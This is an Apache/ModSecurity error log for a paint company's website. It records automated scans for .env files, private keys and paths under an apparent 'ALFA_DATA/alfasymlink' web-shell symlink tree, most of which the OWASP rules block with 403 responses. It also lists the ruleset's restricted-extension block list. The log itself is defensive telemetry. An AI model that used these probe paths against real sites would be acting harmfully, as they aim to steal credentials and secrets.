[Sun Oct 25 11:55:22.015083 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4malWeCyhzvHzx7cjgVgAAABg"]
[Sun Oct 25 11:55:22.962182 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4malWeCyhzvHzx7cjgVgAAABg"]
[Sun Oct 25 11:55:22.962454 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4malWeCyhzvHzx7cjgVgAAABg"]
[Sun Oct 25 11:55:22.149958 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4madC9X1saEIOersrHRQAAABY"]
[Sun Oct 25 11:55:22.515138 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4malHudjrSkDPIE3RAYQAAAA4"]
[Sun Oct 25 11:55:23.105213 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4malHudjrSkDPIE3RAYQAAAA4"]
[Sun Oct 25 11:55:23.105603 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4malHudjrSkDPIE3RAYQAAAA4"]
[Sun Oct 25 11:55:22.538258 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4marDVJAKw5cHu6Kc83QAAAAw"]
[Sun Oct 25 11:55:23.187738 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4marDVJAKw5cHu6Kc83QAAAAw"]
[Sun Oct 25 11:55:23.188146 2026] [security2:error] [pid 2858950:tid 2858950] [client 35.198.57.29:48312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4marDVJAKw5cHu6Kc83QAAAAw"]
[Sun Oct 25 11:55:22.539010 2026] [security2:error] [pid 2858936:tid 2858936] [client 35.198.57.29:48228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4maobL6JHxR3A4WdAfEgAAAAA"]
[Sun Oct 25 11:55:23.188976 2026] [security2:error] [pid 2858936:tid 2858936] [client 35.198.57.29:48228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4maobL6JHxR3A4WdAfEgAAAAA"]
[Sun Oct 25 11:55:23.189285 2026] [security2:error] [pid 2858936:tid 2858936] [client 35.198.57.29:48228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4maobL6JHxR3A4WdAfEgAAAAA"]
[Sun Oct 25 11:55:22.539782 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4mavDoiLETcvKRGq5FYwAAAAk"]
[Sun Oct 25 11:55:23.189947 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4mavDoiLETcvKRGq5FYwAAAAk"]
[Sun Oct 25 11:55:23.190202 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4mavDoiLETcvKRGq5FYwAAAAk"]
[Sun Oct 25 11:55:22.651986 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4mav7eNafb1CKd8kL_fgAAAAE"]
[Sun Oct 25 11:55:23.190860 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4mav7eNafb1CKd8kL_fgAAAAE"]
[Sun Oct 25 11:55:23.191104 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4mav7eNafb1CKd8kL_fgAAAAE"]
[Sun Oct 25 11:55:22.831756 2026] [security2:error] [pid 2858957:tid 2858957] [client 35.198.57.29:48340] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maund0L62aAl1_LxvcQAAABM"]
[Sun Oct 25 11:55:23.191727 2026] [security2:error] [pid 2858957:tid 2858957] [client 35.198.57.29:48340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maund0L62aAl1_LxvcQAAABM"]
[Sun Oct 25 11:55:23.192052 2026] [security2:error] [pid 2858957:tid 2858957] [client 35.198.57.29:48340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at4maund0L62aAl1_LxvcQAAABM"]
[Sun Oct 25 11:55:22.833617 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4maV9_xErUkx7sxeSd5gAAABQ"]
[Sun Oct 25 11:55:22.976807 2026] [security2:error] [pid 2858970:tid 2858970] [client 185.191.171.3:52438] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/49-sansserif.conf"] [unique_id "at4mahjv1ZqIw7BzV-svfAAAACc"]
[Sun Oct 25 11:55:23.193373 2026] [security2:error] [pid 2858970:tid 2858970] [client 185.191.171.3:52438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/49-sansserif.conf"] [unique_id "at4mahjv1ZqIw7BzV-svfAAAACc"]
[Sun Oct 25 11:55:23.193743 2026] [security2:error] [pid 2858970:tid 2858970] [client 185.191.171.3:52438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/49-sansserif.conf"] [unique_id "at4mahjv1ZqIw7BzV-svfAAAACc"]
[Sun Oct 25 11:55:23.881089 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4ma9C9X1saEIOersrHRgAAABY"]
[Sun Oct 25 11:55:23.881404 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4ma9C9X1saEIOersrHRgAAABY"]
[Sun Oct 25 11:55:23.881642 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4ma9C9X1saEIOersrHRgAAABY"]
[Sun Oct 25 11:55:24.543601 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4mbNC9X1saEIOersrHRwAAABY"]
[Sun Oct 25 11:55:24.543916 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4mbNC9X1saEIOersrHRwAAABY"]
[Sun Oct 25 11:55:24.544164 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app"] [unique_id "at4mbNC9X1saEIOersrHRwAAABY"]
[Sun Oct 25 11:55:26.605806 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 44.223.232.55:46255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:28.477186 2026] [core:error] [pid 2858965:tid 2858965] (13)Permission denied: [client 185.191.171.19:28322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/total_objects
[Sun Oct 25 11:55:31.109251 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 54.84.93.8:27400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:42.637287 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 44.221.180.179:4543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:46.734419 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 34.230.124.21:33126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:51.005808 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 98.84.200.43:9330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:58.572732 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 18.214.238.178:26578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:02.612917 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 44.193.102.198:60720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:06.766101 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 18.209.201.119:51315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:30.626683 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 34.194.95.99:30223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:34.645618 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 44.193.115.232:21231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:38.589547 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 184.72.95.195:49185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:42.648560 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.89.170.186:54448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:50.652038 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 52.207.47.227:22530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:56:54.684907 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 50.16.72.185:28587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:06.731439 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 18.213.102.186:31083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:22.824175 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 18.232.36.1:50644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:26.655981 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 3.212.205.90:37874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/remove_id
[Sun Oct 25 11:57:38.879298 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 34.194.226.74:20423] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:42.655308 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 44.205.180.155:53497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:46.857794 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 54.84.250.51:11028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:47.318822 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 185.191.171.11:42830] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:51.600058 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 54.166.126.132:6614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:57:59.375394 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 107.20.25.33:20764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:02.881363 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 54.163.136.244:5539] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:07.169468 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 54.225.148.123:21735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:58:10.874398 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 50.16.248.61:58206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ohci-pci/remove_id
